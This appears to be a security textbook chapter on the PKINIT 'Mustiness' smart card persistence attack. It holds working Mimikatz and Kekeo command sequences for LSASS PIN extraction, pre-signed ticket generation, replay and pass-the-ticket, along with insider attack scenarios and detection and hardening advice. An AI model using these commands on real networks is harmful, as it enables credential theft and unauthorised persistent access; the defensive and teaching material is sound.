Skip to content

Chapter 38: PKI - Mustiness

Introduction

Smart cards are often seen as the "gold standard" of authentication. If you need the physical card and a PIN to log in, you're secure, right? Well, not exactly. The PKIMustiness attack is a masterclass in protocol abuse that challenges that assumption. It exploits a subtle design choice in the Kerberos PKINIT specification—specifically its support for Diffie-Hellman key exchange—to create a "time-decoupled" authentication backdoor.

In my experience, this is one of the most elegant persistence techniques because it allows you to obtain a TGT without the smart card being present. If you can get just five minutes of access to a target's workstation while their card is inserted, you can pre-generate hundreds of signed authentication requests for the future. You're effectively "pre-signing" your logons for the next month. When you want to log in later, you just replay one of those requests. The DC sees a valid signature and a valid timestamp and lets you in.

I often use this technique when dealing with high-value targets who are smart card mandatory but only accessible during certain time windows. The ability to generate future authentication tokens while I have access means I can maintain persistence even when the target's physical card is locked in a safe or on their person. It's the difference between "I need to be there when they log in" and "I need to be there once, ever."

In this chapter, we're going to break down the technical mechanics of the Diffie-Hellman mode in PKINIT and why it's vulnerable to this type of pre-generation. We'll walk through the extraction of cached smart card PINs from LSASS, the use of Kekeo's tgt::asreq command to build our .musti request files, and the replay process that grants us access. For the defenders, we'll discuss how to kill PIN caching and how to spot the network-level signatures of a "musty" request.

Technical Foundation: The Time-Decoupled Signature

Understanding PKINIT Authentication

Public Key Cryptography for Initial Authentication (PKINIT) is defined in RFC 4556 and extends Kerberos to support certificate-based authentication. Instead of proving knowledge of a password by encrypting a timestamp, the client proves possession of a private key by signing the authentication request.

The standard PKINIT flow works as follows:

  1. Client prepares AS-REQ: The client creates an AS-REQ with a PA-PK-AS-REQ pre-authentication data structure
  2. Signature creation: The client signs the authenticator using their private key (stored on smart card or in software)
  3. KDC validation: The KDC validates the certificate chain, verifies the signature, and checks the timestamp
  4. Session key exchange: The KDC returns the session key, either encrypted with the client's public key (RSA mode) or using Diffie-Hellman parameters

RSA vs. Diffie-Hellman Key Exchange

PKINIT supports two methods for establishing the session key:

ModeKey ExchangeSession Key ProtectionVulnerability
RSAClient's public keyKDC encrypts session key with client's RSA public keyRequires client's private key at TGT reception time
DHDiffie-HellmanShared secret derived from DH exchangeSignature is independent of session key derivation

The critical difference is in when the private key is needed:

  • RSA mode: The private key is needed both to sign the request AND to decrypt the response containing the session key
  • DH mode: The private key is only needed to sign the request; the session key is derived from the DH exchange

This is the core of PKIMustiness: in DH mode, once the AS-REQ is signed, it's a self-contained authentication token that doesn't require the private key again.

PKINIT with Diffie-Hellman

The Diffie-Hellman Requirement

For PKIMustiness to work, the KDC must support Diffie-Hellman key exchange. This is mandated by RFC 4556 and is enabled by default on all modern Windows Domain Controllers.

DH Support is Mandatory

You can verify DH support by examining the KDC's supported encryption types or by simply attempting a DH-based request. If the KDC responds with KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED, DH is either disabled or the parameters are incompatible.

PIN Caching: The Memory Leak

To provide a seamless user experience, Windows caches the smart card PIN in LSASS memory after the initial logon. This cached PIN serves several purposes:

  • TGT renewal: When the TGT approaches expiration, the system can request a new one without prompting the user
  • Credential delegation: For services that require delegation, the PIN is needed to sign additional requests
  • Single Sign-On: Applications that need to access the smart card don't need to prompt for the PIN repeatedly

From an attacker's perspective, this PIN cache is gold. Even if the user removes their smart card from the reader, the PIN often remains in LSASS memory until the session ends. With local administrator access, we can extract this PIN and use it to instruct the smart card to sign requests.

The ASN.1 Structure

The pre-signed AS-REQ is stored in a .musti file, which is an ASN.1 DER-encoded structure containing:

  • The complete PA-PK-AS-REQ with the signed authenticator
  • Diffie-Hellman public value and parameters
  • Certificate chain for validation
  • Timestamp embedded in the signed authenticator

ASN.1 Structure of Musti File

Mimikatz and Kekeo Implementation

The PKIMustiness attack requires coordination between Mimikatz (for reconnaissance and PIN extraction) and Kekeo (for generating and replaying the pre-signed requests).

Step 1: Detect Smart Card Presence

Before doing anything, verify that a smart card reader is present and a card is inserted.

Command: crypto::sc

mimikatz # crypto::sc
SmartCard readers:

 * Microsoft Virtual Smart Card 0
   | Vendor: Microsoft Corporation
   | Model : Virtual Smart Card

Smart Card Detection

If a card is present, you'll see additional information including the ATR and available containers.

Step 2: Enumerate Certificate Information

Next, identify the certificate on the smart card. Pay particular attention to the UPN (User Principal Name) field—this is what you'll use as the /subject: parameter in Kekeo.

Command: crypto::certificates

mimikatz # crypto::certificates /systemstore:current_user /store:My /silent
 * System Store  : 'current_user' (0x00010000)
 * Store         : 'My'

 0. cperez@acmelabs.pvt
    Subject  : CN=cperez@acmelabs.pvt, O=mimikatz, C=FR
    Issuer   : DC=pvt, DC=acmelabs, CN=LabRootCA1
    Serial   : 9262b282e5c68eb3fb96e6b877a2b33d0ff11ad6
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 6/16/2021 3:02:42 PM -> 6/16/2031 3:12:41 PM
    UPN      : cperez@acmelabs.pvt
    Hash SHA1: beeb51378e85f8bb9bd2f22d98b34fae1dc794a2
        Key Container  : {e0e807c1-9b2f-47b3-8afa-4f9fc7e73383}
        Provider       : Microsoft Base Smart Card Crypto Provider

Certificate Enumeration

Critical: Always use the /silent parameter when enumerating certificates with smart card keys to avoid triggering a PIN prompt on the user's screen.

Step 3: Extract the Cached PIN

The PIN used for smart card authentication is cached in LSASS memory. Use sekurlsa::kerberos to extract it.

Command: sekurlsa::kerberos

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::kerberos

Authentication Id : 0 ; 10522518 (00000000:00a08f96)
Session           : Interactive from 8
User Name         : cperez
Domain            : acmelabs
Logon Server      : (null)
Logon Time        : 6/16/2021 5:53:04 PM
SID               : S-1-5-21-2860848500-1733596137-3439428363-1638
        kerberos :
         * Username : cperez
         * Domain   : ACMELABS.PVT
         * Password : (null)
         * Smartcard
             PIN code : 12345678
             Card     : Identity Device (Microsoft Generic Profile)
             Reader   : Microsoft Virtual Smart Card 0
             Container: te-VSCTemplate-1269de9f-9b0e-4612-37851
             Provider : Microsoft Base Smart Card Crypto Provider

PIN Extraction from LSASS

The PIN code field contains the smart card PIN in plaintext. This is the key that allows us to instruct the smart card to sign our pre-generated requests.

Step 4: Generate Pre-Signed AS-REQ Files (tgt::asreq)

Now we use Kekeo to generate the .musti files—pre-signed AS-REQ messages with embedded future timestamps.

Syntax:

kekeo # tgt::asreq /subject:<UPN> /pin:<PIN> /dh [/startoffset:<minutes>] [/increment:<minutes>] [/count:<number>] [/domain:<FQDN>]

Parameters for tgt::asreq:

ParameterDescription
/subject:The UPN (User Principal Name) from the certificate (e.g., user@domain.com)
/pin:The smart card PIN extracted from LSASS
/dhSpecifies Diffie-Hellman mode (required for PKIMustiness)
/startoffset:(Optional) Number of minutes from now for the first request (default: 0)
/increment:(Optional) Number of minutes between each request (default: 10)
/count:(Optional) Number of AS-REQ files to generate (default: 1)
/domain:(Optional) Target domain FQDN
/caname:(Optional) CA name if certificate selection is ambiguous

Example - Generate 5 requests at 10-minute intervals:

kekeo # tgt::asreq /subject:cperez@acmelabs.pvt /pin:12345678 /dh /count:5

Cookie value       : d3840926
Realm        : acmelabs.pvt (acmelabs)
User         : cperez@acmelabs.pvt (cperez)
CName        : cperez@acmelabs.pvt      [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName        : krbtgt/acmelabs.pvt      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : RSA with DH
> Current time     : 6/16/2021 5:54:36 PM
> Start time       : 6/16/2021 5:54:36 PM
> Increment        : 10 mn
> Count            : 5
> End              : 6/16/2021 6:34:36 PM

* 6/16/2021 5:54:36 PM - d3840926-20210616175436-cperez@acmelabs.pvt.musti -> OK
* 6/16/2021 6:04:36 PM - d3840926-20210616180436-cperez@acmelabs.pvt.musti -> OK
* 6/16/2021 6:14:36 PM - d3840926-20210616181436-cperez@acmelabs.pvt.musti -> OK
* 6/16/2021 6:24:36 PM - d3840926-20210616182436-cperez@acmelabs.pvt.musti -> OK
* 6/16/2021 6:34:36 PM - d3840926-20210616183436-cperez@acmelabs.pvt.musti -> OK

Generating Musti Files

Each .musti file contains a complete, signed AS-REQ that will be valid at the specified timestamp.

Example - Generate requests for the next 24 hours:

kekeo # tgt::asreq /subject:admin@corp.local /pin:secretpin /dh /increment:60 /count:24

This creates 24 files, each valid at one-hour intervals.

Example - Start generating from a future time:

kekeo # tgt::asreq /subject:admin@corp.local /pin:secretpin /dh /startoffset:60 /increment:30 /count:10

This starts generating requests from 60 minutes in the future, at 30-minute intervals.

Step 5: Replay the Pre-Signed Request (tgt::ask)

When you want to authenticate without the smart card, use tgt::ask with the /asreq: parameter pointing to the appropriate .musti file.

Syntax:

kekeo # tgt::ask /asreq:<filename.musti> [/ptt]

Parameters for tgt::ask (Mustiness mode):

ParameterDescription
/asreq:Path to the .musti file containing the pre-signed AS-REQ
/ptt(Optional) Pass-the-Ticket: inject the TGT into current session
/ticket:(Optional) Save the ticket to a specific filename

Example - Request TGT and inject into session:

kekeo # tgt::ask /asreq:d3840926-20210616180436-cperez@acmelabs.pvt.musti /ptt

Authenticator time : 6/16/2021 6:04:36 PM
Realm        : acmelabs.pvt (acmelabs)
User         : cperez@acmelabs.pvt (cperez)
CName        : cperez@acmelabs.pvt      [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName        : krbtgt/acmelabs.pvt      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : RSA with DH AS-REQ (PKINIT Mustiness)
[kdc] name: SDDC01.acmelabs.pvt (auto)
[kdc] addr: 10.1.1.4 (auto)
  > Ticket in file 'TGT_cperez@acmelabs.pvt@ACMELABS.PVT_krbtgt~acmelabs.pvt@ACMELABS.PVT.kirbi'

TGT Request with Musti File

Critical: The request must be used within the Kerberos clock skew tolerance window (typically ±5 minutes) of the embedded timestamp. If the current time is too far from the timestamp in the .musti file, the KDC will reject it with KRB_AP_ERR_SKEW.

Attack Scenarios

Scenario 1: The Physical Insider

Situation: An attacker has brief physical access to a target's workstation while their smart card is inserted.

Execution:

  1. Boot from a USB or gain local admin access
  2. Run Mimikatz to extract the cached PIN:
    mimikatz # privilege::debug
    mimikatz # sekurlsa::kerberos
  3. Enumerate the certificate UPN:
    mimikatz # crypto::certificates /store:My /silent
  4. Generate 30 days of authentication tokens:
    kekeo # tgt::asreq /subject:executive@corp.com /pin:1234 /dh /increment:1440 /count:30
  5. Exfiltrate the .musti files (small, ~5KB each)

Result: 30 days of persistent access without needing the smart card again.

Scenario 2: The Supply Chain Attack

Situation: An IT technician is setting up a new workstation for a VIP user.

Execution:

  1. During initial configuration, the VIP inserts their smart card to test the setup
  2. The malicious technician extracts the PIN and generates future tokens
  3. Uses /startoffset: to delay the first valid token by several days, avoiding detection during the setup phase:
    kekeo # tgt::asreq /subject:cfo@company.com /pin:securepin /dh /startoffset:4320 /increment:60 /count:168
    (Starts 3 days in the future, generates one week of hourly tokens)

Result: Delayed persistence that activates after the setup is complete and forgotten.

Scenario 3: The Conference Room

Situation: Target frequently logs into conference room systems for presentations.

Execution:

  1. Compromise a conference room workstation
  2. Wait for target to log in for a meeting
  3. Silently extract credentials during the meeting:
    mimikatz # sekurlsa::kerberos
  4. Generate tokens for future access
  5. Access target's resources remotely after they've left

Result: Persistence from a brief, incidental interaction.

Scenario 4: Combining with Pass-the-Ticket

After obtaining a TGT via PKIMustiness, you can request service tickets normally:

# Get TGT from musti file
kekeo # tgt::ask /asreq:admin-20210616.musti

# Request service ticket for file share
kekeo # tgs::ask /tgt:TGT_admin@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi /service:cifs/fileserver.corp.local

# Inject and access
mimikatz # kerberos::ptt ticket.kirbi
dir \\fileserver.corp.local\c$

Comparison: PKIMustiness vs. Other Persistence Techniques

TechniqueRequiresValidity DurationDetectable BySurvives Password Change
PKIMustinessCached PIN + Card access (once)Until certificate expires4768 PKINIT events, timing analysisYes (until cert expires)
Golden Ticketkrbtgt hashConfigurable (up to 10 years)4769 with impossible SIDs/groupsYes
Silver TicketService account hashConfigurable (up to 10 years)Missing 4769 for forged serviceYes
Pass-the-HashNTLM hashUntil password change4624/4625 with NTLMNo
Golden CertificateCA private keyCertificate lifetime (years)Certificate issuance correlationYes
UnPAC-the-HashValid certificateOne-time hash extraction4768 PKINIT eventsN/A (hash extraction)

Key advantage of PKIMustiness: It's the only technique that provides persistent access using legitimate pre-signed requests. There's no forged data—the KDC sees a perfectly valid, properly signed request.

Detection and IOCs

Event Log Indicators

Event ID 4768 (Kerberos TGT Request): This is your primary detection point.

Look for:

  • Pre-Authentication Type: 16 (PA-PK-AS-REQ) or 17 (PA-PK-AS-REP) indicates PKINIT
  • Certificate Serial Number: Cross-reference with CA issuance logs
  • Source IP: PKINIT requests coming from machines that don't have smart card readers
  • Timing patterns: Multiple 4768 events with identical certificates but timestamps at exact intervals (the generation pattern)

Event ID 4771 (Kerberos Pre-authentication Failed): Look for KRB_AP_ERR_SKEW errors from PKINIT—these indicate attempts to use expired .musti files.

Network Indicators

  • Packet size anomaly: DH-mode PKINIT AS-REQ packets are significantly larger than password-based requests (~3000+ bytes vs. ~1500 bytes)
  • Missing preceding traffic: A PKINIT logon without preceding smart card reader activity on the source machine
  • Source machine analysis: PKINIT traffic from workstations that have never had smart card authentication before

Behavioral Patterns

  • Burst generation: Many PKINIT requests from the same user in a very short time window (the generation phase)
  • Perfect interval spacing: 4768 events at mathematically precise intervals suggest automated generation
  • Time-shifted usage: PKINIT logons at unusual hours when the user's smart card physical location is known to be elsewhere

LSASS Access

If you're monitoring for credential access (Sysmon Event ID 10 or similar):

  • sekurlsa::kerberos requires PROCESS_QUERY_INFORMATION and PROCESS_VM_READ access to LSASS
  • This is the same access pattern as other credential dumping, so existing detections may catch it

Defensive Strategies

1. Disable PIN Caching

This is the most effective technical control. Without the cached PIN, the attacker cannot instruct the smart card to sign requests.

Registry setting:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\SmartCardCredentialProvider
EnableSmartCardPinCaching = 0 (DWORD)

Group Policy:Computer Configuration → Administrative Templates → Windows Components → Smart Card → Turn on certificate propagation from smart card

Trade-off: Users will need to enter their PIN every time the private key is used, including for TGT renewals. This is annoying but secure.

2. Implement Credential Guard

Windows Credential Guard uses virtualization-based security to isolate LSASS in a protected container. This prevents most memory-scraping attacks, including PIN extraction.

Requirements:

  • Windows 10 Enterprise/Education or Windows Server 2016+
  • UEFI firmware with Secure Boot
  • TPM 2.0 (recommended)
  • Hyper-V capability

Verification:

powershell
Get-ComputerInfo | Select-Object DeviceGuard*

3. Configure Card Removal Policy

Minimize the window of opportunity by forcing workstation lock when the smart card is removed:

Group Policy:Computer Configuration → Windows Settings → Security Settings → Local Policies → Security OptionsInteractive logon: Smart card removal behavior = Lock Workstation

4. Monitor for PKINIT Anomalies

Create detection rules for:

  • PKINIT 4768 events without corresponding "Card Inserted" events from EDR
  • Multiple PKINIT requests from the same user within seconds
  • PKINIT requests from machines without smart card hardware
  • PKINIT requests at regular intervals matching common /increment: values (10, 30, 60 minutes)

5. Implement Certificate Hygiene

  • Short validity periods: Certificates with 1-year validity reduce the persistence window
  • Certificate revocation: Have a process to revoke certificates when anomalies are detected
  • Strong key protection: Require PIN entry for every signature operation on high-value certificates

Operational Considerations

When to Use PKIMustiness

ScenarioRecommendation
Brief physical access to targetExcellent - generate many future tokens
Long-term access already establishedUnnecessary - use other persistence methods
Need to survive password rotationGood - certificates survive password changes
High-security target with strong monitoringRisky - PKINIT events are distinctive
Target uses software certificatesNot applicable - extract/copy the certificate instead

OPSEC Considerations

  1. Generation phase is noisy: Creating many .musti files in rapid succession generates corresponding smart card operations. Do this when the target is distracted.

  2. File sizes are small: Each .musti file is typically 3-5KB, making exfiltration trivial.

  3. Clock synchronization is critical: Before using a .musti file, ensure your attacking system's clock is synchronized with the domain. Use net time \\dc.domain.com /set or NTP.

  4. Use files within their window: Each file is valid for approximately ±5 minutes of its embedded timestamp (default Kerberos skew tolerance).

  5. Don't generate too many: On physical smart cards, each signature operation is slow and can trigger user-visible indicators. Keep /count: reasonable.

Error Handling

ErrorMeaningSolution
KRB_AP_ERR_SKEW (37)Current time too far from request timestampUse a .musti file with appropriate timestamp; sync clocks
KDC_ERR_PREAUTH_FAILED (24)Invalid signature or certificateVerify certificate is still valid and not revoked
KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED (20)DH parameters rejectedRare; may indicate DH disabled on KDC
KDC_ERR_CLIENT_NOT_TRUSTED (63)Certificate not trusted for logonCertificate not in NTAuth store or wrong EKUs
Smart card error during generationCard communication issueEnsure card is properly inserted; retry

Timing Calculations

To generate tokens for a specific time window:

# Example: Generate tokens for next 7 days, every 4 hours
# 7 days × 6 tokens/day = 42 tokens

kekeo # tgt::asreq /subject:user@domain /pin:1234 /dh /increment:240 /count:42
# Example: Generate tokens for business hours only (9 AM - 6 PM) for 5 days
# Manually adjust /startoffset: to align with 9 AM next day
# /increment:60 for hourly, /count:45 for 9 hours × 5 days

kekeo # tgt::asreq /subject:user@domain /pin:1234 /dh /startoffset:900 /increment:60 /count:45

Practical Lab Exercises

Exercise 1: PIN Extraction

  1. Set up a Windows 10 VM with a Virtual Smart Card (tpmvscmgr.exe)
  2. Enroll a certificate using the User template
  3. Log in using the smart card
  4. Run Mimikatz and extract the PIN:
    mimikatz # privilege::debug
    mimikatz # sekurlsa::kerberos
  5. Document the PIN and smart card information

Exercise 2: Generate Musti Files

  1. Using the extracted PIN and UPN from Exercise 1
  2. Generate 5 .musti files at 5-minute intervals:
    kekeo # tgt::asreq /subject:labuser@lab.local /pin:12345678 /dh /increment:5 /count:5
  3. Examine a .musti file with an ASN.1 viewer
  4. Note the file sizes and naming convention

Exercise 3: Clock Skew Testing

  1. Take the first .musti file (valid immediately)
  2. Wait 10+ minutes (beyond the 5-minute skew tolerance)
  3. Attempt to use it:
    kekeo # tgt::ask /asreq:file_0.musti
  4. Observe the KRB_AP_ERR_SKEW error
  5. Use the second file (now within its valid window):
    kekeo # tgt::ask /asreq:file_1.musti
  6. Verify success

Exercise 4: Disable PIN Caching

  1. Apply the registry setting to disable PIN caching
  2. Log out and log back in with the smart card
  3. Attempt to extract the PIN with sekurlsa::kerberos
  4. Observe that the PIN field is now empty
  5. Document the user experience impact (more PIN prompts)

Exercise 5: Full Attack Chain

  1. From a "attacker" VM, access the target VM
  2. Extract credentials (PIN + UPN)
  3. Generate tokens for the next hour (6 files at 10-minute intervals)
  4. Exfiltrate the .musti files to your attacker system
  5. Remove the smart card from the target
  6. Wait for an appropriate timestamp window
  7. Use a .musti file to obtain a TGT
  8. Request a service ticket and access a resource
  9. Verify the entire chain works without the physical card

Summary

PKIMustiness is a reminder that even hardware tokens have software-based weaknesses. The key takeaways:

  • Diffie-Hellman mode in PKINIT allows signatures to be decoupled from session key derivation
  • PIN caching in LSASS provides the "password" needed to instruct the smart card to sign requests
  • tgt::asreq generates pre-signed AS-REQ files (.musti) with embedded future timestamps
  • tgt::ask /asreq: replays these files to obtain TGTs without the physical card
  • Clock skew tolerance (±5 minutes) determines the validity window for each .musti file
  • Detection relies on correlating PKINIT events with smart card physical presence and identifying timing patterns
  • Disabling PIN caching is the most effective defensive measure
  • Credential Guard provides defense-in-depth by protecting LSASS memory
  • File-based tokens are small (~5KB), portable, and valid for the certificate's entire lifetime

The elegance of PKIMustiness lies in its legitimacy—every request sent to the KDC is properly signed with the user's private key. The only "abuse" is in the timing: we signed it then, but we're using it now. For attackers, it provides persistence that survives password changes. For defenders, it requires thinking beyond "do they have the credential?" to "when did they get access to sign with it?"


Next: Chapter 39: Working with Smart CardsPrevious: Chapter 37: PKI - Certificate Templates